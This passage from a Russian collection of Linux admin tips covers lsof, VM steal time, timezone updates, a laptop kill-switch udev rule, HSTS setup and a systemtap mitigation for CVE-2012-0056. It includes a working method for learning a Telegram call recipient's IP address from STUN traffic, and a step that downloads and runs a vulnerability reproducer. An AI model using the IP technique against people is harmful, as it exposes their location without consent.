    Список всех открытых файлов: lsof
    Все процессы использующие файл: lsof file
    Какие процессы используют internet и unix domain сокеты: lsof -i -U
    Все открытые файлы для юзера: lsof -l user
    ...для процесса 12: lsof -p 12
    
     
    ----* Как посмотреть какие файлы открыты заданным процессом   [обсудить]
     
    ls /proc/ID_процесса/fd
    lsof -p ID_процесса
    
     
    ----* Как посмотреть какие процессы используют заданный файл   [обсудить]
     
    fuser file
    
     
    ----* Как посмотреть какой сокет заняла какая программа   [комментарии]
     
    для всех:  
    	lsof -i -U
    	fuser <port_num>/tcp
    для linux: 
    	netstat -pvlA inet
    для FreeBSD:
            sockstat
    
     
    ----* Откуда берется steal внутри виртуальных машин и что с этим делать (доп. ссылка 1)   Автор: Mail.Ru Cloud Solutions  [комментарии]
     
    CPU steal time - это время, в течение которого виртуальная машина не получает
    ресурсы процессора для своего выполнения. Это время считается только в гостевых
    операционных системах в средах виртуализации.
    
    Что такое steal
    
    Steal  - это метрика, указывающая на нехватку процессорного времени для
    процессов внутри виртуальной машины. Как описано в патче ядра KVM, steal -
    это время, в течение которого гипервизор выполняет другие процессы на хостовой
    операционной системе, хотя он поставил процесс виртуальной машины в очередь на
    выполнение. То есть steal считается как разница между временем, когда процесс
    готов выполниться, и временем, когда процессу выделено процессорное время.
    
    Метрику steal ядро виртуальной машины получает от гипервизора. При этом
    гипервизор не уточняет, какие именно другие процессы он выполняет, просто
    "пока занят, тебе времени уделить не могу". На KVM поддержка подсчёта
    steal добавлена в патчах. Ключевых моментов здесь два:
    
    1.   Виртуальная машина узнает о steal от гипервизора. То есть, с точки зрения
    потерь, для процессов на самой виртуалке это непрямое измерение, которое может
    быть подвержено различным искажениям.
    
    2.   Гипервизор не делится с виртуалкой информацией о том, чем он занят -
    главное, что он не уделяет время ей. Из-за этого сама виртуалка не может
    выявить искажения в показателе steal, которые можно было бы оценить по
    характеру конкурирующих процессов.
    
    Как вычислить steal
    
    По сути, steal считается как обычное время утилизации процессора. В ядре
    добавляется ещё один счетчик непосредственно для процесса KVM (процесса
    виртуальной машины), который считает длительность пребывания процесса KVM в
    состоянии ожидания процессорного времени. Счетчик берет информацию о процессоре
    из его спецификации и смотрит, все ли его тики утилизированы процессом
    виртуалки. Если все, то считаем, что процессор занимался только процессом
    виртуальной машины. В ином случае информируем, что процессор занимался чем-то
    еще, появился steal.
    Подробнее читайте в статье Brendann Gregg.
    
    Как мониторить steal
    
    Мониторить steal внутри виртуальной машины можно как любую другую процессорную
    метрику. Главное, чтобы виртуалка была на Linux. Windows  такую информацию не предоставляет.
    
    Сложность возникает при попытке получить эту информацию с гипервизора. Можно
    попробовать спрогнозировать steal на хостовой машине, например, по параметру
    Load Average (LA) - усредненного значения количества процессов, ожидающих в
    очереди на выполнение. Методика подсчета этого параметра непростая, но в целом
    пронормированный по количеству потоков процессора LA > 1 указывает на
    перегрузку Linux-сервера.
    
    Чего же ждут все эти процессы? Очевидный ответ - процессора. Но иногда
    процессор свободен, а LA зашкаливает. На самом деле, процессы могут ожидать
    окончания любой блокировки, как физической, связанной с устройством
    ввода/вывода, так и логической, например мьютекса. Туда же относятся блокировки
    на уровне железа (того же ответа от диска) или логики (так называемых
    блокировочных примитивов).
    
    Ещё одна особенность LA в том, что оно считается как среднее значение по ОС,
    причём не меньше, чем за минуту. Например, 100 процессов конкурируют за один
    файл, тогда LA=50. Такое большое значение, казалось бы, говорит, что ОС плохо.
    Но для криво написанного кода это может быть нормой - плохо только ему, а
    другие процессы не страдают. Из-за этого усреднения (причём не меньше, чем за
    минуту), определение чего-либо по LA может закончиться весьма неопределенными
    результатами в конкретных случаях.
    
    Почему появляется steal и что делать
    
    Остановимся на основных причинах появления steal, с которыми мы столкнулись при
    работе с облачной платформой MCS, и способах борьбы с ними.
    
    Переутилизация. Самое простое и частое - много запущенных виртуальных машин,
    большое потребление процессора внутри них, большая конкуренция, утилизация по
    LA больше 1 (в нормировке по процессорным тредам). Внутри всех виртуалок всё
    тормозит. Steal, передаваемый с гипервизора, также растёт, надо
    перераспределять нагрузку или кого-то выключать.
    При этом нужно учитывать, что соотношение нагрузки на гипервизоре и steal
    внутри виртуальной машины не всегда однозначно взаимосвязаны. Обе оценки steal
    могут быть ошибочными в конкретных ситуациях при разных нагрузках.
    
    Паравиртуализация против одиноких инстансов. На гипервизоре одна единственная
    виртуалка, она потребляет небольшую его часть, но дает большую нагрузку по
    вводу/выводу, например по диску. И откуда-то в ней появляется небольшой steal,
    до 10%.
    
    Тут дело как раз в блокировках на уровне паравиртуализированных драйверов.
    Внутри виртуалки создается прерывание, оно обрабатывается драйвером и уходит в
    гипервизор. Из-за обработки прерывания на гипервизоре для виртуалки это
    выглядит как отправленный запрос, она готова к исполнению и ждёт процессора, но
    процессорного времени ей не дают. Виртуалка думает, что это время украдено.
    
    Это происходит в момент отправки буфера, он уходит в kernel space гипервизора,
    и мы начинаем его ждать. Хотя, с точки зрения виртуалки, он должен сразу
    вернуться. Следовательно, по алгоритму расчета steal это время считается
    украденным. Скорее всего, в этой ситуации могут быть и другие механизмы
    (например, обработка ещё каких-нибудь sys calls), но они не должны сильно отличаться.
    
    Небольшой steal можно считать нормой (даже и без паравиртуализации, с учётом
    нагрузки внутри виртуалки, особенностей нагрузки соседей, распределения
    нагрузки по тредам и прочего). Однако важно обращать внимание на то, как себя
    чувствуют приложения внутри виртуалок.
    
    Шедулер против высоконагруженных виртуалок. Когда одна виртуалка страдает от
    steal больше других, это связано с шедулером (распределением ресурсов между
    процессами) - чем сильнее процесс нагружает процессор, тем скорее шедулер
    его выгонит, чтобы остальные тоже могли поработать. Если виртуалка потребляет
    немного, она почти не увидит steal: её процесс честно сидел и ждал, ему дадут
    время. Если виртуалка дает максимальную нагрузку по всем своим ядрам, её чаще
    выгоняют с процессора и не дают много времени. Шедулер плохо относится к
    процессам, которые много просят. Большие виртуалки - зло.
    
    Низкий LA, но есть steal. LA примерно 0,7 (то есть, гипервизор, кажется
    недозагружен), но внутри отдельных виртуалок наблюдается steal:
    
    1.   Уже описанный выше вариант с паравиртуализацией. Виртуалка может получать
    метрики, указывающие на steal, хотя у гипервизора всё хорошо. По результатам
    наших экспериментов, такой вариант steal не превышает 10 % и не должен
    оказывать существенного влияния на производительность приложений внутри виртуалки.
    
    2.   Неверно считается LA. Точнее, в каждый конкретный момент он считается
    верно, но при усреднении получается заниженным. Например, если одна виртуалка
    на треть гипервизора потребляет все свои процессоры ровно полминуты, LA за
    минуту на гипервизоре будет 0,15; четыре такие виртуалки, работающие
    одновременно, дадут 0,6. А то, что полминуты на каждой из них был steal под 25
    % по LA, уже не вытащить.
    
    3.   Из-за шедулера, решившего, что кто-то слишком много ест, и пусть он
    подождет, пока я займусь другими важными системными вещами. В итоге одни
    виртуалки не видят никаких проблем, а другие испытывают серьезную деградацию производительности.
    
    Другие искажения
    
    Есть другие причины для искажений честной отдачи процессорного времени на
    виртуалке. Например, сложности в расчёты вносят гипертрединг и NUMA. Они
    запутывают выбор ядра для исполнения процесса, потому что шедулер использует
    коэффициенты - веса, которые при переключении контекста выполняют
    усложнённый подсчёт.
    
    Бывают искажения из-за технологий типа турбобуста или, наоборот, режима
    энергосбережения, которые при подсчёте утилизации могут искусственно повышать
    или понижать частоту или даже квант времени на сервере. Включение турбобуста
    уменьшает производительность одного процессорного треда из-за увеличения
    производительности другого. В этот момент информация об актуальной частоте
    процессора виртуальной машине не передается, и она считает, что её время кто-то
    тырит (например, она запрашивала 2 ГГц, а получила вдвое меньше).
    
    В общем, причин искажений может быть много. Чтобы выяснить steal в конкретной
    системе, исследуйте различные варианты, собирайте метрики, тщательно их
    анализируйте и продумывайте, как равномерно распределять нагрузку. От любых
    кейсов возможны отклонения, которые надо подтверждать экспериментально или
    смотреть в отладчике ядра. Начать лучше с книг, на которые я дал линки выше, и
    съёма статистики с гипервизора утилитами типа perf, sysdig, systemtap, коих десятки.
    
     

       Установка и синхронизация времени

    ----* Решение проблемы со шрифтами в Steam после выставления времени после 2038 года (доп. ссылка 1)   [комментарии]
     
    Некоторые игры позволяют получать достижения если не запускать игру несколько
    лет, например,  The Stanley Parable содержит достижение, активируемое после 5
    лет неактивности, а Ultra Deluxe - после 10. Для получения указанных бонусов
    обычно переводят часы на необходимое время вперёд, запускают игру для фиксации
    достижения и возвращают время назад.
    
    Проблема в том, что если время изменено на момент после 2038 года, подобная
    манипуляция приводит к смене в интерфейсе Steam шрифта, и выставленный шрифт
    может оказаться экзотическим, что мешает восприятию информации.
    
    Указанный эффект связан с отсутствием в некоторых приложениях, и в частности в
    fontconfig, поддержки корректной работы после 2038 года из-за переполнения
    32-разрядного типа данных  time_t. Наличие проблемы выражается в выводе
    сообщения об ошибке "Value too large for defined data type" при запуске
    fontconfig в случае наличия файлов с датой доступа после 2038 года.
    
       $ stat /etc/fonts/conf.d/*|grep 2040
       Access: 2040-11-22 00:00:04.110328309 +0100
       Access: 2040-11-22 00:00:04.110328309 +0100
       Access: 2040-11-22 00:00:04.110328309 +0100
       ...
    
    Для решения проблемы следует поменять ушедшее в будущее время доступа на текущее:
    
       sudo mount -o remount,strictatime /
       sudo mount -o remount,strictatime /home
       sudo find / -newerat 2038-01-19 -exec touch -a {} +
       sudo mount -o remount,relatime /
       sudo mount -o remount,relatime /home
    
    Перемонтирование с опцией "strictatime" необходимо так как по умолчанию при
    монтировании используется опция "relatime" при которой время доступа меняется
    только если обращение произведено позднее уже выставленного для файла времени доступа.
    
     
    ----* Настройка перехода на зимнее время для устаревших систем   [комментарии]
     
    В ночь с 25 на 26 октября в РФ будет осуществлён переход на постоянное зимнее
    время. Астрономический полдень сдвинется с 14 до 13 часов, темнеть в декабре
    будет в 4 часа дня, а светать в 9 утра, в июле темнеть будет в 10 вечера, а
    светать в 3 ночи. Для "сов" наступает настоящий кошмар :-)
    
    Для систем, время поддержки которых не истекло  параметры перевода часов уже
    поступили с очередным обновлением. Для устаревших систем придётся обновлять
    данные часовых поясов вручную. Обновления содержимого базы данных часовых
    поясов можно получить с сайта ftp://ftp.iana.org/tz/releases/
    
    Для ручного обновления базы часовых поясов загружаем свежую версию архива tzdata:
    
       mkdir tz
       cd tz
       wget ftp://ftp.iana.org/tz/releases/tzdata2014i.tar.gz
    
    Распаковываем:
        
        tar xzf tzdata2014i.tar.gz
    
    Смотрим . запланированы ли правила перевода часов:
    
        zdump -v Asia/Yekaterinburg |grep 2014
        
    Если команда ничего не выдала, значит в системе установлена старая база часовых
    поясов и её нужно обновить.
    
    Ищем нужный город в файлах asia или europe, географически положение может не
    совпадать, например,  Екатеринбург находится в Азии, но указан в файле europe.
    
    Компилируем часовые пояса из файла europe. Утилита zic читает текстовый файл с
    описаниями зон и на выходе формирует бинарные файлы специального формата и
    сохраняет их в директорию /usr/share/zoneinfo (изменить директорию можно флагом "-d"):
    
        zic europe
    
    Скомпилированные файлы параметров часовых поясов будут сохранены в файле
    /usr/share/zoneinfo/Asia/Yekaterinburg, который нужно скопировать в файл
    /etc/localtime, определяющий текущий часовой пояс:
    
       cp /etc/localtime /etc/localtime.old
       cp -f /usr/share/zoneinfo/Asia/Yekaterinburg /etc/localtime
    
    После обновления в выводе zdump должно появиться правило перевода часов:
    
       zdump -v Asia/Yekaterinburg |grep 2014
    
       Asia/Yekaterinburg  Sat Oct 25 19:59:59 2014 UTC = Sun Oct 26 01:59:59 2014 YEKT isdst=0 gmtoff=21600
       Asia/Yekaterinburg  Sat Oct 25 20:00:00 2014 UTC = Sun Oct 26 01:00:00 2014 YEKT isdst=0 gmtoff=18000
    
    При использовании PostgreSQL требуется не забыть обновить внутреннюю базу
    часовых поясов данной СУБД, которая расположена в директории
    /usr/local/pgsql/share/timezone (меняем
    /usr/local/pgsql/share/timezone/Asia/Yekaterinburg и перезапускаем PostgreSQL).
    В PHP может использоваться собственная база часовых поясов, в этом случае
    требуется обновить пакет http://pecl.php.net/package/timezonedb
    
    
    Дополнительно стоит обратить внимание на логику вычисления отрезков времени в
    биллинговых системах и прочих службах. С 2011 года, когда был отменён переход
    на зимнее/летнее время, успели появиться приложения, не учитывающие сдвиг на
    час, что чревато списанием/начислением лишнего часа и прочими неприятными
    эффектами, проявляющимися при запуске программ в "исчезнувший" час.
    
     
    ----* Ручная настройка отмены перехода на зимнее время в Unix-подобных ОС (доп. ссылка 1)   Автор: Величко Д.С.  [комментарии]
     
    В России, Украине и Беларуси отменен переход на зимнее время. В отличие от
    прошлых лет, с 29 на 30 октября часы переводить не нужно. Для большинства
    систем новая база часовых поясов будет установлена через штатные обновления и
    не потребует от пользователя каких-либо действий. Для устаревших систем
    потребуется внесение ручных изменений.
    
    Текущий часовой пояс в Linux и FreeBSD устанавливается файлом /etc/localtime.
    Этот файл представляет собой ссылку на информационный файл зоны или его копию.
    В большинстве дистрибутивов  база данных с информацией о часовых поясах
    расположена в каталоге /usr/share/zoneinfo. Обновления содержимого базы данных
    часовых поясов можно получить с сайта ftp://elsie.nci.nih.gov/pub/
    
    Для ручного обновления базы часовых поясов загружаем её последнюю версию:
    
       wget ftp://munnari.oz.au/pub/tzdata2011n.tar.gz
    
    Распаковываем во временную директорию:
        
        tar xzf tzdata2011n.tar.gz
    
    
    Проверяем текущую установленную зону
    
    для Fedora/RHEL/CentOS:
    
        cat /etc/sysconfig/clock | grep ZONE
        ZONE="Asia/Yekaterinburg"
    
    для Debian/Ubuntu:
    
        cat /etc/timezone
        Asia/Yekaterinburg
    
    
    Проверим активное расписание переходов на зимнее/летнее время для текущей зоны:
    
        zdump -v Asia/Yekaterinburg |grep 2011
    
        Asia/Yekaterinburg  Sat Mar 26 20:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 YEKT isdst=0 gmtoff=18000
        Asia/Yekaterinburg  Sat Mar 26 21:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 YEKT isdst=0 gmtoff=21600
        Asia/Yekaterinburg  Sat Oct 29 20:59:59 2011 UTC = Sun Oct 30 02:59:59 2011 YEKST isdst=1 gmtoff=21600
        Asia/Yekaterinburg  Sat Oct 29 21:00:00 2011 UTC = Sun Oct 30 02:00:00 2011 YEKT isdst=0 gmtoff=18000
    
    Если последних двух строк нет, значит в систем уже установлена обновленная база
    временных зон и больше ничего делать не нужно.
    
    Иначе, убедимся в наличии необходимого обновления. Для городов в европейской
    части смотрим файл europe, для азии - asia. Разделение в этих файлах весьма
    условное, например, Екатеринбург относится к группе Asia, но указан в файле europe:
    
        vi europe
    
    ищем город для своего часового пояса:
    
       Zone Asia/Yekaterinburg  4:02:24 -      LMT     1919 Jul 15 4:00                
           4:00   -       SVET    1930 Jun 21 # Sverdlovsk Time   
           5:00   Russia  SVE%sT  1991 Mar 31 2:00s               
           4:00   Russia  SVE%sT  1992 Jan 19 2:00s               
           5:00   Russia  YEK%sT  2011 Mar 27 2:00s               
           6:00   -       YEKT    # Yekaterinburg Time            
    
    На всякий случай делаем резервную копию файла с текущими настройками:
    
        cp /etc/localtime  /tmp/localtime.old
    
    Компилируем временные зоны из файла europe. Утилита zic читает текстовый файл с
    описаниями зон и на выходе формирует бинарные файлы специального формата. Стоит
    обратить внимание что утилита без ключа "-d" пишет файлы временных зон сразу в
    /usr/share/zoneinfo, что нам и необходимо.
    
        zic europe
    
    Создаем ссылку на обновленную временную зону:
    
        ln -sf /usr/share/zoneinfo/Asia/Yekaterinburg /etc/localtime
    
    После обновления проверим переходы времени для нашей текущей зоны. В последний
    раз переход произошел с 26 на 27 марта:
    
        zdump -v Asia/Yekaterinburg |grep 2011
    
        Asia/Yekaterinburg  Sat Mar 26 20:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 YEKT isdst=0 gmtoff=18000
        Asia/Yekaterinburg  Sat Mar 26 21:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 YEKT isdst=0 gmtoff=21600
    
    Убедимся, что 30 октября 2011 года показания будут без перехода на зимнее время:
       
        date --date='1000hours'
        Сбт Ноя 12 14:36:46 YEKT 2011
    
     
    ----* Как установить точное время на системных часах.   [комментарии]
     
    Для unix:
        в раз в час запускать через крон: ntpdate 194.186.254.22 195.2.64.5
    Для Cisco IOS:
       ntp clock-period 17180070 
       ntp server 195.2.64.5 version 2
       ntp server 194.186.254.22 version 2
    
     
    ----* Как изменить время в энергонезависимых системных часах (RTC)   [комментарии]
     
    Скопировать в аппаратные часы текущее системное время под Linux можно командой: 
    	hwclock --systohc
    В FreeBSD достаточно изменить время используя команду date.
    
     

       Безопасность

    ----* Определение IP-адреса пользователя в Telegram через голосовой вызов (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    По умолчанию Telegram устанавливает прямой канал связи при осуществлении
    голосового вызова пользователя, присутствующего в адресной книге (в настройках
    можно выборочно отключить использование P2P и направлять трафик только через
    внешний сервер). При инициировании соединения для обхода NAT в Telegram
    применяется протокол STUN (Session Traversal Utilities for NAT), который
    передаёт информацию об адресах звонящего и принимающего звонок в поле
    XOR-MAPPED-ADDRESS. Соответственно, если в настройках "Security and Privacy" не
    отключён P2P, звонящий может узнать IP-адрес того, кому адресован звонок. Метод
    подойдёт и для любых других приложений, использующих STUN.
    
    Для определения IP-адреса следует  во время осуществления вызова записать дамп
    трафика в формате pcap, например, при помощи утилиты tcpdump или tshark, после
    чего воспользоваться готовым скриптом
    https://github.com/n0a/telegram-get-remote-ip/ или при помощи штатных утилит
    проанализировать значение поля XOR-MAPPED-ADDRESS:
    
       tshark -w dump.pcap -a duration:5
       cat dump.pcap | 
         grep "STUN 106" | 
         sed 's/^.*XOR-MAPPED-ADDRESS: //' | 
         awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/); ip = substr($0,RSTART,RLENGTH); print ip}' |
         awk '!seen[$0]++'
    
     
    ----* Простое устройство для защиты данных в случае кражи ноутбука (доп. ссылка 1)   [комментарии]
     
    Майкл Олтфилт (Michael Altfield) предложил простое и эффективное устройство
    для блокирования доступа к конфиденциальным данным в случае кражи ноутбука с
    активным пользовательским сеансом. Суть метода в контроле за подключением к
    ноутбуку определённого USB-устройства, прикреплённого к владельцу (аналогично в
    качестве признака можно использовать достижимость Bluetooth смартфона владельца
    или метку RFID).
    
    
    Во время работы в общественном месте или парке на ноутбуке активируется
    специальное правило UDEV, которое контролирует активность подключения к
    USB-устройству. В случае отсоединения USB-устройства (когда злоумышленник
    выхватил ноутбук) UDEV-правило выполняет скрипт для завершения сеанса, удаления
    каталога с конфиденциальными данными, шифрования данных или отмонтирования
    шифрованного раздела.
    
    Пример udev-правила для блокировки экрана при извлечении любого USB-устройства:
    
       sudo vi /etc/udev/rules.d/busKill.rules
    
       ACTION=="remove", SUBSYSTEM=="usb", RUN+="DISPLAY=:0 xscreensaver-command -lock"
    
       sudo udevadm control --reload
    
    
    Для привязки к определённому USB-устройству необходимо узнать его идентификатор
    (нужно подключить устройство, запустить udevadm monitor и извлечь устройство):
      
       udevadm monitor --environment --udev
    
       ACTION=remove
       ID_MODEL="Micromax_A74"
       SUBSYSTEM=usb
    
    Модифицируем правило /etc/udev/rules.d/busKill.rules
    
       ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="DISPLAY=:0 xscreensaver-command -lock"
    
    
    
    
    
    Как вариант предложено дополнительно использовать магнитный разъединитель
    USB-кабеля, подключённый до брелока с ключами шифрования данных. Далее брелок
    подсоединяется цепочкой к одежде или руке владельца. При выдёргивании ноутбука
    во время работы брелок с ключами шифрования остаётся у владельца, а UDEV-скрипт
    экстренно выключает устройство.
    
    
       ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="shutdown -h now"
    
    Активировать правило блокировки можно автоматически при подключении
    USB-устройства, добавив UDEV-правило с обработчиком ACTION=="bind"
    
       ACTION=="bind", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="/root/killcord_on.sh"
    
    /root/killcord_on.sh
    
       cat << EOF | tee /etc/udev/rules.d/busKill.rules
       ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="shutdown -h now"
       EOF
       udevadm control --reload
    
     
    ----* Блокировка рекламы и вредоносных сайтов через /etc/hosts   [комментарии]
     
    Проект github.com/StevenBlack/hosts предлагает простой подход для блокировки
    рекламы и вредоносных сайтов, не требующий установки дополнений и работающий в
    любых операционных системах и браузерах. Суть метода в размещении черного
    списка с доменами рекламных сетей в файле /etc/hosts. При попытке загрузки
    рекламного блока имя связанного с ним домена резолвится в несуществующий адрес
    0.0.0.0 и реклама не отображается из-за недоступности сервера.
    
    Адрес 0.0.0.0 используется вместо обычно практикуемого 127.0.0.1 так как
    попытка соединения с ним сразу возвращает ошибку без ожидании истечения
    таймаута. В настоящее время в БД находится более 27 тысяч записей, составленных
    на основе популярных публичных списков блокировки, в том числе  adaway.org, mvps.org,
    malwaredomains.com, someonewhocares.org и yoyo.org. При этом
    разработчики пытаются добиться разумного компромисса, избежать ложных
    срабатываний и слишком большого разрастания базы (например, похожий список
    http://hosts-file.net содержит более 300 тысяч записей).
    
    Список постоянно обновляется, поэтому для поддержания /etc/hosts в актуальном
    состоянии предлагается специальный скрипт updateHostsFile.py, который можно
    прописать в crontab, а можно время от времени запускать вручную.
    
    После обновления /etc/hosts следует перезапустить службу резолвинга:
    
    Debian/Ubuntu 
       
       sudo /etc/rc.d/init.d/nscd restart
    
    Fedora Linux, Arch Linux, Manjaro:
    
       sudo systemctl restart NetworkManager.service
    
    Другие Linux с systemd: 
    
       sudo systemctl restart network.service
    
    OS X:
    
       sudo dscacheutil -flushcache
       sudo killall -HUP mDNSResponder
    
    Windows:
    
       ipconfig /flushdns
    
     
    ----* Перенаправление на HTTPS при помощи HSTS в Apache, NGINX и Lighttpd (доп. ссылка 1)   [комментарии]
     
    Протокол HSTS (HTTP Strict Transport Security) позволяет администратору сайта
    указать на необходимость обращения только по HTTPS и автоматизировать проброс
    на HTTPS при изначальном обращении по ссылке на HTTP. Управление производится
    при помощи HTTP-заголовка Strict-Transport-Security, который выдаётся при
    обращении по HTTPS (при выдаче по HTTP заголовок игнорируется) и указывает
    браузеру на необходимость оставаться в зоне HTTPS даже при переходе по ссылкам
    "http://". Замена http:// на https:// будет автоматически выполняться при
    обращении к защищаемому ресурсу с внешних сайтов, а не только для внутренних ссылок.
    
    Использование в Apache:
    
    При помощи mod_headers устанавливаем для HTTPS-блока виртуального хоста
    заголовок Strict-Transport-Security (max-age - срок действия (1 год),
    includeSubdomains - распространять замену http:// на https:// для всех
    поддоменов; preload - занести в поддерживаемый браузером статический список).
    Дополнительно устанавливаем заголовок "X-Frame-Options: DENY" для запрета
    встраивания контента сайта в блоки iframe.
    
       LoadModule headers_module modules/mod_headers.so
    
       <VirtualHost 192.168.1.1:443>
          Header always set Strict-Transport-Security "max-age= 31536000; includeSubdomains; preload"
          Header always set X-Frame-Options DENY
       </VirtualHost>
    
    Для HTTP-блока хоста настраиваем редирект:
    
       <VirtualHost *:80>
         <IfModule mod_rewrite.c>
           RewriteEngine On
           RewriteCond %{HTTPS} off
           RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
         </IfModule>
        </VirtualHost>
    
    Настройка в nginx:
    
    Добавляем в блок server:
    
        add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload";
        add_header X-Frame-Options "DENY";
    
    Настройка в Lighttpd:
     
       server.modules += ( "mod_setenv" )
       $HTTP["scheme"] == "https" {
           setenv.add-response-header  = ( "Strict-Transport-Security" => "max-age=63072000; includeSubdomains; preload",  "X-Frame-Options" => "DENY")
       }
    
     
    ----* Пример поиска подозрительных php-файлов, содержащих очень длинные строки   Автор: 100RAGE1  [комментарии]
     
    Некоторые вирусные php-файлы содержат очень длинные строки в коде. Такие файлы
    можно поискать однострочником:
    
       find ./ -name "*.php" -print0 |  wc -L --files0-from=- | sort -V | grep -E "^[0-9]{5,}+ \\./"
    
    найденные файлы можно просмотреть визуально или проверить чем-то еще.
    
     
    ----* Использование systemtap для устранения уязвимости в реализации /proc/pid/mem (доп. ссылка 1)   [комментарии]
     
    Для устранения уязвимости CVE-2012-0056 в /proc/pid/mem без обновления ядра
    Linux можно использовать systemtap для ограничения системного вызова. Systemtap
    из коробки доступен в RHEL/CentOS и может быть установлен из репозитория в
    Debian/Ubuntu. Без systemtap обходным путем решения проблемы является
    блокирования доступа пользователя на запуск setuid-программ.
    
    Проверим, уязвима ли наша система. Для этого загружаем, собираем и запускаем
    специальную проверочную утилиту:
    
       $ wget http://grsecurity.net/~spender/correct_proc_mem_reproducer.c
       $ make correct_proc_mem_reproducer
       $ ./correct_proc_mem_reproducer
       vulnerable
    
    Рассмотрим процесс установки и использования systemtap в Ubuntu и Debian.
    
    Установим systemtap и пакет для отладки ядра (занимает около 2 Гб)
    
    Debian:
    
       sudo apt-get install -y systemtap linux-image-$(uname -r)-dbg
    
    Ubuntu (требуется подключение отладочного репозитория):
    
       sudo apt-get install -y lsb-release
       echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \\
         tee -a /etc/apt/sources.list.d/ddebs.list
       sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
       sudo apt-get update
       sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
    
    Если в процессе выполнения "apt-get update" выведена ошибка, загружаем и
    устанавливаем отладочные пакеты с ядром вручную:
    
       sudo apt-get install -y systemtap dpkg-dev
       wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | \\
          grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
       sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
    
    Создаём systemtap-скрипт proc-pid-mem.stp для блокирования уязвимости (в
    функции mem_write изменяем на ноль значение аргумента count, определяющего
    размер записываемых данных):
    
       probe kernel.function("mem_write@fs/proc/base.c").call {
               $count = 0
       }
    
    Запускаем скрипт:
    
       sudo stap -Fg proc-pid-mem.stp
    
    Убедимся, что уязвимость теперь не проявляется:
    
       $ ./correct_proc_mem_reproducer
       not vulnerable
    
    
    Чтобы каждый раз не компилировать модуль systemtap, можно собрать его загодя:
    
       stap -g -m cve_2012_0056 proc-pid-mem.stp -p4
    
    (опция  "-g" включает режим гуру, при котором допускается изменение параметров
    функций, опция -m cve_2012_0056 задаёт имя модуля, -p4 указывает на
    необходимость остановиться на 4 шаге и не загружать модуль)
    
    Копируем созданный модуль в область с модулями ядра:
    
       mkdir /lib/modules/$(uname -r)/systemtap
       cp cve_2012_0056.ko /lib/modules/$(uname -r)/systemtap
    
    Запускаем модуль:
    
       staprun -L cve_2012_0056
    
    Достоинство использования готового модуля в том, что для его запуска нет
    необходимости в отладочных пакетах (для сборки они нужны), т.е. его можно
    скопировать на другие системы с той же версией ядра Linux.
    
    По аналогии можно вклиниваться в работу других системных вызовов. Некоторые 
    примеры:
    
    
    
       Запрет на создание файлов с определённым именем:
       #!/usr/bin/env stap
       # badname.stp
       # Prevent the creation of files with undesirable names.
       # Source: http://blog.cuviper.com/2009/04/08/hacking-linux-filenames/
    
       # return non-zero if the filename should be blocked
       function filter:long (name:string)
       {
         return isinstr(name, "XXXbadnameXXX")
       }
    
       global squash_inode_permission
       probe kernel.function("may_create@fs/namei.c")
       {
         # screen out the conditions which may_create will fail anyway
         if ($child->d_inode || $dir->i_flags & 16) next
    
         # check that the new file meets our naming rules
         if (filter(kernel_string($child->d_name->name)))
           squash_inode_permission[tid()] = 1
       }
       probe kernel.function("inode_permission@fs/namei.c").return !,
             kernel.function("permission@fs/namei.c").return
       {
       if (!$return && squash_inode_permission[tid()])
         $return = -13 # -EACCES (Permission denied)
         delete squash_inode_permission[tid()]
       }
    
    
    Блокирование работы ptrace: http://sourceware.org/systemtap/examples/process/noptrace.stp
    
    Вывод в лог дополнительных данных о всех TCP-соединениях:
    
       #! /usr/bin/env stap
    
       probe begin {
         printf("%6s %16s %6s %6s %16s\\n",
             "UID", "CMD", "PID", "PORT", "IP_SOURCE")
       }
    
       probe kernel.function("tcp_accept").return?,
             kernel.function("inet_csk_accept").return? {
         sock = $return
         if (sock != 0)
           printf("%6d %16s %6d %6d %16s\\n", uid(), execname(), pid(),
               inet_get_local_port(sock), inet_get_ip_source(sock))
       }
    
    Вывод деталей о входе и выходе из функции ядра:
    
       #! /usr/bin/env stap
       # Simple probe to detect when a process is waiting for more socket send
       # buffer memory. Usually means the process is doing writes larger than the
       # socket send buffer size or there is a slow receiver at the other side.
       # Increasing the socket's send buffer size might help decrease application
       # latencies, but it might also make it worse, so buyer beware.
       #
       # Typical output: timestamp in microseconds: procname(pid) event
       #
       # 1218230114875167: python(17631) blocked on full send buffer
       # 1218230114876196: python(17631) recovered from full send buffer
       # 1218230114876271: python(17631) blocked on full send buffer
       # 1218230114876479: python(17631) recovered from full send buffer
    
       probe kernel.function("sk_stream_wait_memory")
       {
      	printf("%u: %s(%d) blocked on full send buffer\\n",
    		gettimeofday_us(), execname(), pid())
       }
    
       probe kernel.function("sk_stream_wait_memory").return
       {
    	printf("%u: %s(%d) recovered from full send buffer\\n",
    		gettimeofday_us(), execname(), pid())
       }
    
     
    ----* Проверка Linux-системы на наличие следов взлома (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В процессе разбора истории со взломом  kernel.org было выявлено, что
    атаковавшим удалось установить вредоносное ПО на Linux-машины некоторых
    разработчиков, используя которое были перехвачены ключи доступа. В списке
    рассылки разработчиков ядра Linux опубликована краткая инструкция по
    проверке целостности системы и выявлению следов активности злоумышленников.
    Суть опубликованных рекомендаций изложена ниже.
    
    Одним из очевидных способов гарантировать чистоту системы от активности
